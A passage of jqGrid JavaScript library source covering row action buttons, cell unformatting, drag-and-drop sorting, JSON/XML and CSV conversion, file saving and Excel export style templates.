onmouseout=jQuery(this).removeClass('" + common.hover +"'); "; if(op.editformbutton){ ocl = "id='jEditButton_"+rowid+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'formedit'); " + hover; str += "<div title='"+nav.edittitle+"' style='float:left;cursor:pointer;' class='ui-pg-div ui-inline-edit' "+ocl+"><span class='" + common.icon_base +" "+classes.icon_edit +"'></span></div>"; } else if(op.editbutton){ ocl = "id='jEditButton_"+rowid+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'edit'); " + hover; str += "<div title='"+nav.edittitle+"' style='float:left;cursor:pointer;' class='ui-pg-div ui-inline-edit' "+ocl+"><span class='" + common.icon_base +" "+classes.icon_edit +"'></span></div>"; } if(op.delbutton) { ocl = "id='jDeleteButton_"+rowid+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'del'); " + hover; str += "<div title='"+nav.deltitle+"' style='float:left;' class='ui-pg-div ui-inline-del' "+ocl+"><span class='" + common.icon_base +" "+classes.icon_del +"'></span></div>"; } ocl = "id='jSaveButton_"+rowid+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'save'); " + hover; str += "<div title='"+nav.savetitle+"' style='float:left;display:none' class='ui-pg-div ui-inline-save' "+ocl+"><span class='" + common.icon_base +" "+classes.icon_save +"'></span></div>"; ocl = "id='jCancelButton_"+rowid+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'cancel'); " + hover; str += "<div title='"+nav.canceltitle+"' style='float:left;display:none;' class='ui-pg-div ui-inline-cancel' "+ocl+"><span class='" + common.icon_base +" "+classes.icon_cancel +"'></span></div>"; return "<div class='jqgrid_actions' style='margin-left:8px;'>" + str + "</div>"; }; $.unformat = function (cellval,options,pos,cnt) { // specific for jqGrid only var ret, formatType = options.colModel.formatter, op =options.colModel.formatoptions || {}, sep, re = /([\.\*\_\'\(\)\{\}\+\?\\])/g, unformatFunc = options.colModel.unformat||($.fn.fmatter[formatType] && $.fn.fmatter[formatType].unformat); if(unformatFunc !== undefined && $.jgrid.isFunction(unformatFunc) ) { ret = unformatFunc.call(this, $(cellval).text(), options, cellval); } else if(formatType !== undefined && $.fmatter.isString(formatType) ) { var opts = $.jgrid.getRegional(this, 'formatter') || {}, stripTag; switch(formatType) { case 'integer' : op = $.extend({},opts.integer,op); sep = op.thousandsSeparator.replace(re,"\\$1"); stripTag = new RegExp(sep, "g"); ret = $(cellval).text().replace(stripTag,''); break; case 'number' : op = $.extend({},opts.number,op); sep = op.thousandsSeparator.replace(re,"\\$1"); stripTag = new RegExp(sep, "g"); ret = $(cellval).text().replace(stripTag,"").replace(op.decimalSeparator,'.'); break; case 'currency': op = $.extend({},opts.currency,op); sep = op.thousandsSeparator.replace(re,"\\$1"); stripTag = new RegExp(sep, "g"); ret = $(cellval).text(); if (op.prefix && op.prefix.length) { ret = ret.slice(op.prefix.length); } if (op.suffix && op.suffix.length) { ret = ret.slice(0, ret.length - op.suffix.length); } ret = ret.replace(stripTag,'').replace(op.decimalSeparator,'.'); break; case 'checkbox': var cbv = (options.colModel.editoptions) ? options.colModel.editoptions.value.split(":") : ["Yes","No"]; ret = $('input',cellval).is(":checked") ? cbv[0] : cbv[1]; break; case 'select' : ret = $.unformat.select(cellval,options,pos,cnt); break; case 'actions': return ""; default: ret= $(cellval).text(); } } return ret !== undefined ? ret : cnt===true ? $(cellval).text() : $.jgrid.htmlDecode($(cellval).html()); }; $.unformat.select = function (cellval,options,pos,cnt) { // Spacial case when we have local data and perform a sort // cnt is set to true only in sortDataArray var ret = []; var cell = $(cellval).text(); if(cnt===true) {return cell;} var op = $.extend({}, options.colModel.formatoptions !== undefined ? options.colModel.formatoptions: options.colModel.editoptions), sep = op.separator === undefined ? ":" : op.separator, delim = op.delimiter === undefined ? ";" : op.delimiter; if(op.value){ var oSelect = op.value, msl = op.multiple === true ? true : false, scell = [], sv; if(msl) {scell = cell.split(",");scell = $.map(scell,function(n){return $.jgrid.trim(n);});} if ($.fmatter.isString(oSelect)) { var so = oSelect.split(delim), j=0, i; for(i=0; i<so.length;i++){ sv = so[i].split(sep); if(sv.length > 2 ) { sv[1] = $.map(sv,function(n,i){if(i>0) {return n;}}).join(sep); } if(op.decodeValue && op.decodeValue===true) { sv[1] = $.jgrid.htmlDecode(sv[1]); } if(msl) { if($.inArray($.jgrid.trim(sv[1]),scell)>-1) { ret[j] = sv[0]; j++; } } else if($.jgrid.trim(sv[1]) === $.jgrid.trim(cell)) { ret[0] = sv[0]; break; } } } else if( $.fmatter.isObject(oSelect) || Array.isArray(oSelect) ){ if(!msl) {scell[0] = cell;} ret = $.map(scell, function(n){ var rv; $.each(oSelect, function(i,val){ if (val === n) { rv = i; return false; } }); if( rv !== undefined ) {return rv;} }); } return ret.join(", "); } return cell || ""; }; $.unformat.date = function (cellval, opts) { var op = $.jgrid.getRegional(this, 'formatter.date') || {}; if(opts.formatoptions !== undefined) { op = $.extend({},op,opts.formatoptions); } if(!$.fmatter.isEmpty(cellval)) { return $.jgrid.parseDate.call(this, op.newformat,cellval,op.srcformat,op); } return $.fn.fmatter.defaultFormat(cellval, opts); }; //module begin var dragging, placeholders = $(); $.fn.html5sortable = function(options) { var method = String(options); options = $.extend({ connectWith: false }, options); return this.each(function() { var items; if (/^enable|disable|destroy$/.test(method)) { items = $(this).children($(this).data('items')).attr('draggable', method === 'enable'); if (method === 'destroy') { items.add(this).removeData('connectWith items') .off('dragstart.h5s dragend.h5s selectstart.h5s dragover.h5s dragenter.h5s drop.h5s'); } return; } var isHandle, index; items = $(this).children(options.items); var placeholder = $('<' + (/^ul|ol$/i.test(this.tagName) ? 'li' : /^tbody$/i.test(this.tagName) ? 'tr' : 'div') + ' class="sortable-placeholder ' + options.placeholderClass + '">').html(' '); items.find(options.handle).mousedown(function() { isHandle = true; }).mouseup(function() { isHandle = false; }); $(this).data('items', options.items); placeholders = placeholders.add(placeholder); if (options.connectWith) { $(options.connectWith).add(this).data('connectWith', options.connectWith); } items.attr('draggable', 'true').on('dragstart.h5s', function(e) { if (options.handle && !isHandle) { return false; } isHandle = false; var dt = e.originalEvent.dataTransfer; dt.effectAllowed = 'move'; dt.setData('Text', 'dummy'); index = (dragging = $(this)).addClass('sortable-dragging').index(); }).on('dragend.h5s', function() { if (!dragging) { return; } dragging.removeClass('sortable-dragging').show(); placeholders.detach(); if (index !== dragging.index()) { dragging.parent().trigger('sortupdate', {item: dragging, startindex: index, endindex: dragging.index()}); } dragging = null; }).not('a[href], img').on('selectstart.h5s', function() { this.dragDrop && this.dragDrop(); return false; }).end().add([this, placeholder]).on('dragover.h5s dragenter.h5s drop.h5s', function(e) { if (!items.is(dragging) && options.connectWith !== $(dragging).parent().data('connectWith')) { return true; } if (e.type === 'drop') { e.stopPropagation(); placeholders.filter(':visible').after(dragging); dragging.trigger('dragend.h5s'); return false; } e.preventDefault(); e.originalEvent.dataTransfer.dropEffect = 'move'; if (items.is(this)) { if (options.forcePlaceholderSize) { placeholder.height(dragging.outerHeight()); } dragging.hide(); $(this)[placeholder.index() < $(this).index() ? 'after' : 'before'](placeholder); placeholders.not(placeholder).detach(); } else if (!placeholders.is(this) && !$(this).children(options.items).length) { placeholders.detach(); $(this).append(placeholder); } return false; }); }); }; //module begin $.extend($.jgrid,{ //window.jqGridUtils = { isJSON : function (mixed) { if (typeof mixed !== 'string') { mixed = JSON.stringify( mixed ); } try { JSON.parse( mixed ); return true; } catch (e) { return false; } }, stringify : function(obj) { return JSON.stringify(obj,function(key, value){ return (typeof value === 'function' ) ? value.toString() : value; }); }, parseFunc : function(str) { return JSON.parse(str,function(key, value){ if(typeof value === "string" && value.indexOf("function") !== -1) { var sv = value.split(" "); sv[0] = $.jgrid.trim( sv[0].toLowerCase() ); if( (sv[0].indexOf('function') === 0) && value.trim().slice(-1) === "}") { return $.jgrid.runCode( value ); //eval('('+value+')'); } else { return value; } } return value; }); }, encode : function ( text ) { // repeated, but should not depend on grid return String(text).replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>').replace(/"/g,'"'); }, jsonToXML : function ( tree, options ) { var o = $.extend( { xmlDecl : '<?xml version="1.0" encoding="UTF-8" ?>\n', attr_prefix : '-', encode : true }, options || {}), that = this, scalarToxml = function ( name, text ) { if ( name === "#text" ) { return (o.encode ? that.encode(text) : text); } else if(typeof(text) ==='function') { return "<"+name+"><![CDATA["+ text +"]]></"+name+">\n"; } if(text === "") { return "<"+name+">__EMPTY_STRING_</"+name+">\n"; } else { return "<"+name+">"+(o.encode ? that.encode(text) : text )+"</"+name+">\n"; } }, arrayToxml = function ( name, array ) { var out = []; for( var i=0; i<array.length; i++ ) { var val = array[i]; if ( typeof(val) === "undefined" || val == null ) { out[out.length] = "<"+name+" />"; } else if ( typeof(val) === "object" && val.constructor == Array ) { out[out.length] = arrayToxml( name, val ); } else if ( typeof(val) === "object" ) { out[out.length] = hashToxml( name, val ); } else { out[out.length] = scalarToxml( name, val ); } } if(!out.length) { out[0] = "<"+ name+">__EMPTY_ARRAY_</"+name+">\n"; } return out.join(""); }, hashToxml = function ( name, tree ) { var elem = []; var attr = []; for( var key in tree ) { if ( ! tree.hasOwnProperty(key) ) continue; var val = tree[key]; if ( key.charAt(0) !== o.attr_prefix ) { if ( val == null ) { // null or undefined elem[elem.length] = "<"+key+" />"; } else if ( typeof(val) === "object" && val.constructor === Array ) { elem[elem.length] = arrayToxml( key, val ); } else if ( typeof(val) === "object" ) { elem[elem.length] = hashToxml( key, val ); } else { elem[elem.length] = scalarToxml( key, val ); } } else { attr[attr.length] = " "+(key.substring(1))+'="'+(o.encode ? that.encode( val ) : val)+'"'; } } var jattr = attr.join(""); var jelem = elem.join(""); if ( name == null ) { // null or undefined // no tag } else if ( elem.length > 0 ) { if ( jelem.match( /\n/ )) { jelem = "<"+name+jattr+">\n"+jelem+"</"+name+">\n"; } else { jelem = "<"+name+jattr+">" +jelem+"</"+name+">\n"; } } else { jelem = "<"+name+jattr+" />\n"; } return jelem; }; var xml = hashToxml( null, tree ); return o.xmlDecl + xml; }, xmlToJSON : function ( root, options ) { var o = $.extend ( { force_array : [], //[ "rdf:li", "item", "-xmlns" ]; attr_prefix : '-' }, options || {} ); if(!root) { return; } var __force_array = {}; if ( o.force_array ) { for( var i=0; i< o.force_array.length; i++ ) { __force_array[o.force_array[i]] = 1; } } if(typeof root === 'string') { root = $.parseXML(root); } if(root.documentElement) { root = root.documentElement; } var addNode = function ( hash, key, cnts, val ) { if(typeof val === 'string') { if( val.indexOf('function') !== -1) { val = $.jgrid.runCode( val ); //eval( '(' + val +')'); // we need this in our implement } else { switch(val) { case '__EMPTY_ARRAY_' : val = []; break; case '__EMPTY_STRING_': val = ""; break; case "false" : val = false; break; case "true": val = true; break; } } } if ( __force_array[key] ) { if ( cnts === 1 ) { hash[key] = []; } hash[key][hash[key].length] = val; // push } else if ( cnts === 1 ) { // 1st sibling hash[key] = val; } else if ( cnts === 2 ) { // 2nd sibling hash[key] = [ hash[key], val ]; } else { // 3rd sibling and more hash[key][hash[key].length] = val; } }, parseElement = function ( elem ) { // COMMENT_NODE if ( elem.nodeType === 7 ) { return; } // TEXT_NODE CDATA_SECTION_NODE if ( elem.nodeType === 3 || elem.nodeType === 4 ) { var bool = elem.nodeValue.match( /[^\x00-\x20]/ ); if ( bool == null ) return; // ignore white spaces return elem.nodeValue; } var retval, cnt = {}, i, key, val; // parse attributes if ( elem.attributes && elem.attributes.length ) { retval = {}; for ( i=0; i<elem.attributes.length; i++ ) { key = elem.attributes[i].nodeName; if ( typeof(key) !== "string" ) { continue; } val = elem.attributes[i].nodeValue; if ( ! val ) { continue; } key = o.attr_prefix + key; if ( typeof(cnt[key]) === "undefined" ) { cnt[key] = 0; } cnt[key] ++; addNode( retval, key, cnt[key], val ); } } // parse child nodes (recursive) if ( elem.childNodes && elem.childNodes.length ) { var textonly = true; if ( retval ) { textonly = false; } // some attributes exists for ( i=0; i<elem.childNodes.length && textonly; i++ ) { var ntype = elem.childNodes[i].nodeType; if ( ntype === 3 || ntype === 4 ) { continue; } textonly = false; } if ( textonly ) { if ( ! retval ) { retval = ""; } for ( i=0; i<elem.childNodes.length; i++ ) { retval += elem.childNodes[i].nodeValue; } } else { if ( ! retval ) { retval = {}; } for ( i=0; i<elem.childNodes.length; i++ ) { key = elem.childNodes[i].nodeName; if ( typeof(key) !== "string" ) { continue; } val = parseElement( elem.childNodes[i] ); if ( !val ) { continue; } if ( typeof(cnt[key]) === "undefined" ) { cnt[key] = 0; } cnt[key] ++; addNode( retval, key, cnt[key], val ); } } } return retval; }; var json = parseElement( root ); // parse root node if ( __force_array[root.nodeName] ) { json = [ json ]; } if ( root.nodeType !== 11 ) { // DOCUMENT_FRAGMENT_NODE var tmp = {}; tmp[root.nodeName] = json; // root nodeName json = tmp; } return json; }, saveAs : function (data, fname, opts) { opts = $.extend(true,{ type : 'plain/text;charset=utf-8' }, opts || {}); var file, url, tmp = []; fname = fname == null || fname === '' ? 'jqGridFile.txt' : fname; if( !Array.isArray(data) ) { tmp[0]= data ; } else { tmp = data; } try { file = new File(tmp, fname, opts); } catch (e) { file = new Blob(tmp, opts); } if ( window.navigator && window.navigator.msSaveOrOpenBlob) { window.navigator.msSaveOrOpenBlob( file , fname ); } else { url = URL.createObjectURL(file); var a = document.createElement("a"); a.href = url; a.download = fname; document.body.appendChild(a); a.click(); setTimeout(function() { document.body.removeChild(a); window.URL.revokeObjectURL(url); }, 0); } }, csvToArray : function (str, delimiter) { if(delimiter === undefined) {delimiter =",";} var headers=[],arrMatches, arr=[], objr = {}, k=0, len, lines=0; var objPattern = new RegExp( ( // Delimiters. "(\\" + delimiter + "|\\r?\\n|\\r|^)" + // Quoted fields. "(?:\"([^\"]*(?:\"\"[^\"]*)*)\"|" + // Standard fields. "([^\"\\" + delimiter + "\\r\\n]*))" ), "gi"); while (arrMatches = objPattern.exec(str)) { var strMatchedDelimiter = arrMatches[1]; if ( strMatchedDelimiter.length && strMatchedDelimiter !== delimiter ) { lines++; objr = {}; k=0; } var strMatchedValue; if (arrMatches[2]) { strMatchedValue = arrMatches[2].replace(new RegExp("\"\"", "g"),"\""); } else { strMatchedValue = arrMatches[3]; } if(lines === 0 ) { headers.push(strMatchedValue); len = headers.length; } else { objr[headers[k]] = strMatchedValue; if(k===len-1) { arr.push(objr); } else { k++; } } } return arr; } }); //module begin $.jgrid = $.jgrid || {}; $.extend($.jgrid,{ formatCell : function ( cellval , colpos, rwdat, cm, $t, etype){ var v; if(cm.formatter !== undefined) { var opts= {rowId: '', colModel:cm, gid: $t.p.id, pos:colpos, styleUI: '', isExported : true, exporttype : etype }; if($.jgrid.isFunction( cm.formatter ) ) { v = cm.formatter.call($t,cellval,opts,rwdat); } else if($.fmatter){ v = $.fn.fmatter.call($t,cm.formatter,cellval,opts,rwdat); } else { v = cellval; } } else { v = cellval; } return v; }, formatCellCsv : function (v, p) { v = v == null ? '' : String(v); try { v = $.jgrid.stripHtml( v.replace(p._regexsep ,p.separatorReplace).replace(/\r\n/g, p.replaceNewLine).replace(/\n/g, p.replaceNewLine)); } catch (_e) { v=""; } if(p.escquote) { v = v.replace(p._regexquot, p.escquote + p.quote); } if( v.indexOf(p.separator) === -1 || v.indexOf(p.qoute) === -1) { v = p.quote + v + p.quote; } return v; }, excelCellPos : function ( n ){ var ordA = 'A'.charCodeAt(0), ordZ = 'Z'.charCodeAt(0), len = ordZ - ordA + 1, s = ""; while( n >= 0 ) { s = String.fromCharCode(n % len + ordA) + s; n = Math.floor(n / len) - 1; } return s; }, makeNode : function ( root, elemName, options ) { var currNode = root.createElement( elemName ); if ( options ) { if ( options.attr ) { $(currNode).attr( options.attr ); } if( options.children ) { $.each( options.children, function ( key, value ) { currNode.appendChild( value ); }); } if( options.hasOwnProperty('text') ) { currNode.appendChild( root.createTextNode( options.text ) ); } } return currNode; }, xmlToZip : function ( zip, obj ) { var $t = this, xmlserialiser = new XMLSerializer(), // IE >= 9 ieExcel = xmlserialiser.serializeToString( $.parseXML( $.jgrid.excelStrings['xl/worksheets/sheet1.xml'] ) ) .indexOf( 'xmlns:r' ) === -1, newDir, worksheet, i, ien, attr, attrs = [], str; $.each( obj, function ( name, val ) { if ( $.isPlainObject( val ) ) { newDir = zip.folder( name ); $t.xmlToZip( newDir, val ); } else { if ( ieExcel ) { worksheet = val.childNodes[0]; for ( i=worksheet.attributes.length-1 ; i>=0 ; i-- ) { var attrName = worksheet.attributes[i].nodeName; var attrValue = worksheet.attributes[i].nodeValue; if ( attrName.indexOf( ':' ) !== -1 ) { attrs.push( { name: attrName, value: attrValue } ); worksheet.removeAttribute( attrName ); } } for ( i=0, ien=attrs.length ; i<ien ; i++ ) { attr = val.createAttribute( attrs[i].name.replace( ':', '_dt_b_namespace_token_' ) ); attr.value = attrs[i].value; worksheet.setAttributeNode( attr ); } } // suuport of all browsers str = xmlserialiser.serializeToString(val); // Fix IE's XML if ( ieExcel ) { if ( str.indexOf( '<?xml' ) === -1 ) { str = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+str; } str = str.replace( /_dt_b_namespace_token_/g, ':' ); } str = str .replace( /<row xmlns="" /g, '<row ' ) .replace( /<cols xmlns="">/g, '<cols>' ) .replace( /<mergeCells xmlns="" /g, '<mergeCells ' ) .replace( /<numFmt xmlns="" /g, '<numFmt ' ) .replace( /<xf xmlns="" /g, '<xf ' ); zip.file( name, str ); } } ); }, excelStrings : { "_rels/.rels": '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+ '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'+ '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>'+ '</Relationships>', "xl/_rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+ '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'+ '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>'+ '<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>'+ '</Relationships>', "[Content_Types].xml": '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+ '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'+ '<Default Extension="xml" ContentType="application/xml" />'+ '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml" />'+ '<Default Extension="jpeg" ContentType="image/jpeg" />'+ '<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml" />'+ '<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml" />'+ '<Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml" />'+ '</Types>', "xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+ '<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'+ '<fileVersion appName="xl" lastEdited="5" lowestEdited="5" rupBuild="24816"/>'+ '<workbookPr showInkAnnotation="0" autoCompressPictures="0"/>'+ '<bookViews>'+ '<workbookView xWindow="0" yWindow="0" windowWidth="25600" windowHeight="19020" tabRatio="500"/>'+ '</bookViews>'+ '<sheets>'+ '<sheet name="Sheet1" sheetId="1" r:id="rId1"/>'+ '</sheets>'+ '</workbook>', "xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+ '<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac">'+ '<sheetData/>'+ '</worksheet>', "xl/styles.xml": '<?xml version="1.0" encoding="UTF-8"?>'+ '<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac">'+ '<numFmts count="7">'+ '<numFmt numFmtId="164" formatCode="#,##0.00_-\ [$$-45C]"/>'+ '<numFmt numFmtId="165" formatCode=""£"#,##0.00"/>'+ '<numFmt numFmtId="166" formatCode="[$€-2]\ #,##0.00"/>'+ '<numFmt numFmtId="167" formatCode="0.0%"/>'+ '<numFmt numFmtId="168" formatCode="#,##0;(#,##0)"/>'+ '<numFmt numFmtId="169" formatCode="#,##0.00;(#,##0.00)"/>'+ '<numFmt numFmtId="170" formatCode="yyyy/mm/dd;@"/>'+ '</numFmts>'+ '<fonts count="5" x14ac:knownFonts="1">'+ '<font>'+ '<sz val="11" />'+ '<name val="Calibri" />'+ '</font>'+ '<font>'+ '<sz val="11" />'+ '<name val="Calibri" />'+ '<color rgb="FFFFFFFF" />'+ '</font>'+ '<font>'+ '<sz val="11" />'+ '<name val="Calibri" />'+ '<b />'+ '</font>'+ '<font>'+ '<sz val="11" />'+ '<name val="Calibri" />'+ '<i />'+ '</font>'+ '<font>'+ '<sz val="11" />'+ '<name val="Calibri" />'+ '<u />'+ '</font>'+ '</fonts>'+ '<fills count="6">'+ '<fill>'+ '<patternFill patternType="none" />'+ '</fill>'+ '<fill/>'+ '<fill>'+ '<patternFill patternType="solid">'+ '<fgColor rgb="FFD9D9D9" />'+ '<bgColor indexed="64" />'+ '</patternFill>'+ '</fill>'+ '<fill>'+ '<patternFill patternType="solid">'+ '<fgColor rgb="FFD99795" />'+ '<bgColor indexed="64" />'+ '</patternFill>'+ '</fill>'+ '<fill>'+ '<patternFill patternType="solid">'+ '<fgColor rgb="ffc6efce" />'+ '<bgColor indexed="64" />'+ '</patternFill>'+ '</fill>'+ '<fill>'+ '<patternFill patternType="solid">'+ '<fgColor rgb="ffc6cfef" />'+ '<bgColor indexed="64" />'+ '</patternFill>'+ '</fill>'+ '</fills>'+ '<borders count="2">'+ '<border>'+ '<left />'+ '<right />'+ '<top />'+ '<bottom />'+ '<diagonal />'+ '</border>'+ '<border diagonalUp="false" diagonalDown="false">'+ '<left style="thin">'+ '<color auto="1" />'+ '</left>'+ '<right style="thin">'+ '<color auto="1" />'+ '</right>'+ '<top style="thin">'+ '<color auto="1" />'+ '</top>'+ '<bottom style="thin">'+ '<color auto="1" />'+ '</bottom>'+ '<diagonal />'+ '</border>'+ '</borders>'+ '<cellStyleXfs count="1">'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" />'+ '</cellStyleXfs>'+ '<cellXfs count="69">'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">'+ '<alignment horizontal="left"/>'+ '</xf>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">'+ '<alignment horizontal="center"/>'+ '</xf>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">'+ '<alignment horizontal="right"/>'+ '</xf>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">'+ '<alignment horizontal="fill"/>'+ '</xf>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">'+ '<alignment textRotation="90"/>'+ '</xf>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">'+ '<alignment wrapText="1"/>'+ '</xf>'+ '<xf numFmtId="9" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" 